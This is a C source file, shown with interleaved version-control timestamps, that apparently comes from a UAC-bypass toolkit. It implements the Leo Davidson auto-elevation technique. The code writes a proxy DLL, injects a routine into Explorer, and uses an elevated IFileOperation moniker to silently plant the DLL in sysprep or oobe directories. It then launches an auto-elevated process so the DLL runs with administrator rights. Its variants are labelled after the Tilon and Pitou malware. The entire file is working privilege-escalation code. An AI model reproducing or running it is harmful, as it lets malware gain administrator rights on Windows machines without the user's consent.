2015-03-28 12:00:29 +00:00
|
|
|
/*******************************************************************************
|
|
|
|
*
|
|
|
|
* (C) COPYRIGHT AUTHORS, 2014 - 2015
|
|
|
|
*
|
|
|
|
* TITLE: PITOU.C
|
|
|
|
*
|
2015-04-28 07:29:18 +00:00
|
|
|
* VERSION: 1.72
|
2015-03-28 12:00:29 +00:00
|
|
|
*
|
2015-04-28 07:29:18 +00:00
|
|
|
* DATE: 28 Apr 2015
|
2015-03-28 12:00:29 +00:00
|
|
|
*
|
|
|
|
* Leo Davidson work based AutoElevation and Pitou new variant.
|
|
|
|
*
|
|
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
|
|
* PARTICULAR PURPOSE.
|
|
|
|
*
|
|
|
|
*******************************************************************************/
|
|
|
|
#include "global.h"
|
|
|
|
#include <shlobj.h>
|
|
|
|
|
|
|
|
ELOAD_PARAMETERS g_ElevParams;
|
|
|
|
|
|
|
|
/*
|
|
|
|
* ucmElevatedLoadProc
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Bypass UAC using AutoElevated IFileOperation.
|
|
|
|
* Refactored Leo Davidson concept.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
DWORD WINAPI ucmElevatedLoadProc(
|
|
|
|
PELOAD_PARAMETERS elvpar
|
|
|
|
)
|
|
|
|
{
|
|
|
|
HRESULT r;
|
|
|
|
BOOL cond = FALSE;
|
|
|
|
IFileOperation *FileOperation1 = NULL;
|
|
|
|
IShellItem *isrc = NULL, *idst = NULL;
|
|
|
|
BIND_OPTS3 bop;
|
|
|
|
SHELLEXECUTEINFOW shexec;
|
|
|
|
WCHAR textbuf[MAX_PATH * 2], *p, *f, *f0;
|
|
|
|
|
|
|
|
if (elvpar == NULL)
|
|
|
|
return (DWORD)E_FAIL;
|
|
|
|
|
|
|
|
r = elvpar->xCoInitialize(NULL);
|
|
|
|
if (r != S_OK)
|
|
|
|
return r;
|
|
|
|
|
|
|
|
RtlSecureZeroMemory(&bop, sizeof(bop));
|
|
|
|
RtlSecureZeroMemory(&shexec, sizeof(shexec));
|
|
|
|
|
|
|
|
do {
|
|
|
|
r = elvpar->xCoCreateInstance(&elvpar->xCLSID, NULL,
|
|
|
|
CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER, &elvpar->xIID, &FileOperation1);
|
|
|
|
|
|
|
|
if (r != S_OK) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
if (FileOperation1 != NULL) {
|
|
|
|
FileOperation1->lpVtbl->Release(FileOperation1);
|
|
|
|
}
|
|
|
|
|
|
|
|
bop.cbStruct = sizeof(bop);
|
|
|
|
bop.dwClassContext = CLSCTX_INPROC_SERVER | CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_HANDLER;
|
|
|
|
r = elvpar->xCoGetObject(elvpar->EleMoniker, (BIND_OPTS *)&bop, &elvpar->xIID, &FileOperation1);
|
|
|
|
if (r != S_OK) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
if (FileOperation1 == NULL) {
|
|
|
|
r = E_FAIL;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
FileOperation1->lpVtbl->SetOperationFlags(FileOperation1,
|
|
|
|
FOF_NOCONFIRMATION | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION);
|
|
|
|
|
|
|
|
r = elvpar->xSHCreateItemFromParsingName(elvpar->SourceFilePathAndName,
|
|
|
|
NULL, &elvpar->xIID_IShellItem, &isrc);
|
|
|
|
|
|
|
|
if (r != S_OK) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
r = elvpar->xSHCreateItemFromParsingName(elvpar->DestinationDir, NULL, &elvpar->xIID_IShellItem, &idst);
|
|
|
|
if (r != S_OK) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
r = FileOperation1->lpVtbl->MoveItem(FileOperation1, isrc, idst, NULL, NULL);
|
|
|
|
if (r != S_OK) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
r = FileOperation1->lpVtbl->PerformOperations(FileOperation1);
|
|
|
|
if (r != S_OK) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
idst->lpVtbl->Release(idst);
|
|
|
|
idst = NULL;
|
|
|
|
isrc->lpVtbl->Release(isrc);
|
|
|
|
isrc = NULL;
|
|
|
|
|
|
|
|
shexec.cbSize = sizeof(shexec);
|
|
|
|
shexec.fMask = SEE_MASK_NOCLOSEPROCESS;
|
|
|
|
shexec.nShow = SW_SHOW;
|
|
|
|
shexec.lpFile = elvpar->ExePathAndName;
|
|
|
|
shexec.lpParameters = NULL;
|
|
|
|
shexec.lpDirectory = elvpar->DestinationDir;
|
|
|
|
if (elvpar->xShellExecuteExW(&shexec))
|
|
|
|
if (shexec.hProcess != NULL) {
|
|
|
|
elvpar->xWaitForSingleObject(shexec.hProcess, INFINITE);
|
|
|
|
elvpar->xCloseHandle(shexec.hProcess);
|
|
|
|
}
|
|
|
|
|
|
|
|
f0 = textbuf;
|
|
|
|
p = (WCHAR *)elvpar->DestinationDir;
|
|
|
|
while (*p != (WCHAR)0) {
|
|
|
|
*f0 = *p;
|
|
|
|
f0++;
|
|
|
|
p++;
|
|
|
|
}
|
|
|
|
*f0 = 0;
|
|
|
|
|
|
|
|
f = (WCHAR *)elvpar->SourceFilePathAndName;
|
|
|
|
p = f;
|
|
|
|
while (*f != (WCHAR)0) {
|
|
|
|
if (*f == (WCHAR)'\\')
|
|
|
|
p = (WCHAR *)f + 1;
|
|
|
|
f++;
|
|
|
|
}
|
|
|
|
|
|
|
|
while (*p != (WCHAR)0) {
|
|
|
|
*f0 = *p;
|
|
|
|
f0++;
|
|
|
|
p++;
|
|
|
|
}
|
|
|
|
*f0 = 0;
|
|
|
|
|
|
|
|
r = elvpar->xSHCreateItemFromParsingName(textbuf, NULL, &elvpar->xIID_IShellItem, &idst);
|
|
|
|
if (r != S_OK) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
r = FileOperation1->lpVtbl->DeleteItem(FileOperation1, idst, NULL);
|
|
|
|
if (r != S_OK) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
FileOperation1->lpVtbl->PerformOperations(FileOperation1);
|
|
|
|
|
|
|
|
} while (cond);
|
|
|
|
|
|
|
|
if (FileOperation1 != NULL) {
|
|
|
|
FileOperation1->lpVtbl->Release(FileOperation1);
|
|
|
|
}
|
|
|
|
if (isrc != NULL) {
|
|
|
|
isrc->lpVtbl->Release(isrc);
|
|
|
|
}
|
|
|
|
if (idst != NULL) {
|
|
|
|
idst->lpVtbl->Release(idst);
|
|
|
|
}
|
|
|
|
|
|
|
|
elvpar->xCoUninitialize();
|
|
|
|
return r;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* ucmStandardAutoElevation
|
|
|
|
*
|
|
|
|
* Purpose:
|
|
|
|
*
|
|
|
|
* Leo Davidson AutoElevation method with derivatives.
|
|
|
|
*
|
|
|
|
* M1W7 - Original Leo Davidson concept.
|
|
|
|
* M1W8 - Windows 8.1 adapted M1W7 (bypassing sysprep embedded manifest dlls redirection).
|
2015-04-04 15:37:21 +00:00
|
|
|
* M1W7T - Leo Davidson concept with different target dll, used by Win32/Tilon.
|
2015-04-28 07:29:18 +00:00
|
|
|
* M1W10 - Windows 10 adapter M1W7.
|
2015-03-28 12:00:29 +00:00
|
|
|
* M1WALL - WinNT/Pitou derivative from Leo Davidson concept.
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
BOOL ucmStandardAutoElevation(
|
2015-03-29 08:12:55 +00:00
|
|
|
DWORD dwType,
|
2015-04-24 09:23:42 +00:00
|
|
|
CONST PVOID ProxyDll,
|
2015-03-29 08:12:55 +00:00
|
|
|
DWORD ProxyDllSize
|
2015-03-28 12:00:29 +00:00
|
|
|
)
|
|
|
|
{
|
|
|
|
BOOL cond = FALSE, bResult = FALSE;
|
|
|
|
HINSTANCE hKrnl, hOle32, hShell32;
|
|
|
|
LPWSTR lpSourceDll, lpTargetDir, lpTargetProcess;
|
|
|
|
WCHAR szBuffer[MAX_PATH + 1];
|
|
|
|
|
|
|
|
switch (dwType) {
|
|
|
|
|
2015-04-28 07:29:18 +00:00
|
|
|
case METHOD_SYSPREP1:
|
2015-03-28 12:00:29 +00:00
|
|
|
lpSourceDll = M1W7_SOURCEDLL;
|
|
|
|
lpTargetDir = M1W7_TARGETDIR;
|
|
|
|
lpTargetProcess = M1W7_TARGETPROCESS;
|
|
|
|
break;
|
|
|
|
|
2015-04-28 07:29:18 +00:00
|
|
|
case METHOD_SYSPREP2:
|
2015-03-28 12:00:29 +00:00
|
|
|
lpSourceDll = M1W8_SOURCEDLL;
|
|
|
|
lpTargetDir = M1W7_TARGETDIR;
|
|
|
|
lpTargetProcess = M1W7_TARGETPROCESS;
|
|
|
|
break;
|
|
|
|
|
2015-04-28 07:29:18 +00:00
|
|
|
case METHOD_SYSPREP3:
|
|
|
|
lpSourceDll = M1W10_SOURCEDLL;
|
|
|
|
lpTargetDir = M1W7_TARGETDIR;
|
|
|
|
lpTargetProcess = M1W7_TARGETPROCESS;
|
|
|
|
break;
|
|
|
|
|
2015-03-28 12:00:29 +00:00
|
|
|
case METHOD_OOBE:
|
|
|
|
lpSourceDll = M1WALL_SOURCEDLL;
|
|
|
|
lpTargetDir = M1WALL_TARGETDIR;
|
|
|
|
lpTargetProcess = M1WALL_TARGETPROCESS;
|
|
|
|
break;
|
|
|
|
|
2015-04-04 15:37:21 +00:00
|
|
|
case METHOD_TILON:
|
|
|
|
lpSourceDll = M1W7T_SOURCEDLL;
|
|
|
|
lpTargetDir = M1W7_TARGETDIR;
|
|
|
|
lpTargetProcess = M1W7_TARGETPROCESS;
|
|
|
|
break;
|
|
|
|
|
2015-03-28 12:00:29 +00:00
|
|
|
default:
|
|
|
|
return FALSE;
|
|
|
|
}
|
|
|
|
|
|
|
|
do {
|
|
|
|
|
|
|
|
// load/reference required dlls
|
|
|
|
hKrnl = GetModuleHandle(KERNEL32DLL);
|
|
|
|
hOle32 = GetModuleHandle(OLE32DLL);
|
|
|
|
if (hOle32 == NULL) {
|
|
|
|
hOle32 = LoadLibrary(OLE32DLL);
|
|
|
|
if (hOle32 == NULL) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
hShell32 = GetModuleHandle(SHELL32DLL);
|
|
|
|
if (hShell32 == NULL) {
|
|
|
|
hShell32 = LoadLibrary(SHELL32DLL);
|
|
|
|
if (hShell32 == NULL) {
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
//source filename
|
|
|
|
if (ExpandEnvironmentStringsW(lpSourceDll,
|
|
|
|
g_ElevParams.SourceFilePathAndName, MAX_PATH) == 0)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
OutputDebugStringW(g_ElevParams.SourceFilePathAndName);
|
|
|
|
|
2015-03-30 07:03:39 +00:00
|
|
|
if (!supWriteBufferToFile(g_ElevParams.SourceFilePathAndName,
|
|
|
|
ProxyDll, ProxyDllSize))
|
2015-03-29 08:12:55 +00:00
|
|
|
{
|
2015-03-28 12:00:29 +00:00
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
//dest directory
|
|
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
2015-04-05 16:28:52 +00:00
|
|
|
_strcpy_w(szBuffer, lpTargetDir);
|
2015-03-28 12:00:29 +00:00
|
|
|
|
|
|
|
if (ExpandEnvironmentStringsW(szBuffer,
|
|
|
|
g_ElevParams.DestinationDir, MAX_PATH) == 0)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
OutputDebugStringW(g_ElevParams.DestinationDir);
|
|
|
|
|
|
|
|
//target
|
|
|
|
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
|
2015-04-05 16:28:52 +00:00
|
|
|
_strcpy_w(szBuffer, lpTargetProcess);
|
2015-03-28 12:00:29 +00:00
|
|
|
|
|
|
|
if (ExpandEnvironmentStringsW(szBuffer,
|
|
|
|
g_ElevParams.ExePathAndName, MAX_PATH) == 0)
|
|
|
|
{
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
OutputDebugStringW(g_ElevParams.ExePathAndName);
|
|
|
|
|
|
|
|
//elevation moniker
|
2015-04-05 16:28:52 +00:00
|
|
|
_strcpy_w(g_ElevParams.EleMoniker, L"Elevation:Administrator!new:{3ad05575-8857-4850-9277-11b85bdb8e09}");
|
2015-03-28 12:00:29 +00:00
|
|
|
|
|
|
|
g_ElevParams.xIID = IID_IFileOperation;
|
|
|
|
g_ElevParams.xIID_IShellItem = IID_IShellItem;
|
|
|
|
g_ElevParams.xCLSID = CLSID_FileOperation;
|
|
|
|
|
|
|
|
g_ElevParams.xCoInitialize = (pfnCoInitialize)GetProcAddress(hOle32, "CoInitialize");
|
|
|
|
g_ElevParams.xCoCreateInstance = (pfnCoCreateInstance)GetProcAddress(hOle32, "CoCreateInstance");
|
|
|
|
g_ElevParams.xCoGetObject = (pfnCoGetObject)GetProcAddress(hOle32, "CoGetObject");
|
|
|
|
g_ElevParams.xCoUninitialize = (pfnCoUninitialize)GetProcAddress(hOle32, "CoUninitialize");
|
|
|
|
g_ElevParams.xSHCreateItemFromParsingName = (pfnSHCreateItemFromParsingName)GetProcAddress(hShell32, "SHCreateItemFromParsingName");
|
|
|
|
g_ElevParams.xShellExecuteExW = (pfnShellExecuteExW)GetProcAddress(hShell32, "ShellExecuteExW");
|
|
|
|
g_ElevParams.xWaitForSingleObject = (pfnWaitForSingleObject)GetProcAddress(hKrnl, "WaitForSingleObject");
|
|
|
|
g_ElevParams.xCloseHandle = (pfnCloseHandle)GetProcAddress(hKrnl, "CloseHandle");
|
|
|
|
|
|
|
|
bResult = ucmInjectExplorer(&g_ElevParams, ucmElevatedLoadProc);
|
|
|
|
|
|
|
|
} while (cond);
|
|
|
|
|
|
|
|
return bResult;
|
|
|
|
}
|